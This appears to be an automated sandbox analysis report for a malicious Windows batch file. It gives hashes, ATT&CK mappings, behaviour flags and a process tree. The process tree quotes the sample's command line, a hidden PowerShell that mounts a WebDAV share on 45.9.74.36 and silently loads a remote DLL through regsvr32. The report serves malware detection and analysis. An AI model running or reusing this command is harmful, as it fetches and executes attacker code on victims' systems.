ee13a9bc7f8f60001dd5bdc13fb21cdc5ffe58ec97511f445fd9b78dbdedd551

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 01:16

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General

Target

5623205342853313428.bat
Size

10KB
MD5

15fb0171780a044b55f6eebdcb475d37
SHA1

fa3021377ecced794887b3903e7610934d3f1407
SHA256

ee13a9bc7f8f60001dd5bdc13fb21cdc5ffe58ec97511f445fd9b78dbdedd551
SHA512

a6d9586194f84a52a9543d37381249c036e1617cc3536be520febe3492e643e865666a91662cd916d147e09684942e1518ab3a7aa69f3a8db6d3c9dcaa6f423c
SSDEEP

192:8us5mDgVA3JR0O2uElDefMOyxyDoX666teX666JsgJ67ZwofwwGmmB:8usUScT0KUqfMOoy8X666IX666JsgJ64

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2116	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1100	wordpad.exe
1100	wordpad.exe
1100	wordpad.exe
1100	wordpad.exe
1100	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1464 wrote to memory of 1100	1464	cmd.exe	31
PID 1464 wrote to memory of 1100	1464	cmd.exe	31
PID 1464 wrote to memory of 1100	1464	cmd.exe	31
PID 1464 wrote to memory of 2116	1464	cmd.exe	32
PID 1464 wrote to memory of 2116	1464	cmd.exe	32
PID 1464 wrote to memory of 2116	1464	cmd.exe	32
PID 2116 wrote to memory of 2888	2116	powershell.exe	34
PID 2116 wrote to memory of 2888	2116	powershell.exe	34
PID 2116 wrote to memory of 2888	2116	powershell.exe	34
PID 2116 wrote to memory of 3068	2116	powershell.exe	35
PID 2116 wrote to memory of 3068	2116	powershell.exe	35
PID 2116 wrote to memory of 3068	2116	powershell.exe	35
PID 2116 wrote to memory of 3068	2116	powershell.exe	35
PID 2116 wrote to memory of 3068	2116	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\5623205342853313428.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\12258268996821.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2888
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\12258268996821.dll
    3⤵
    PID:3068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1464-17-0x0000000002260000-0x0000000002360000-memory.dmp

Filesize
1024KB

Download
memory/2116-23-0x000000001B810000-0x000000001BAF2000-memory.dmp

Filesize
2.9MB

Download
memory/2116-24-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download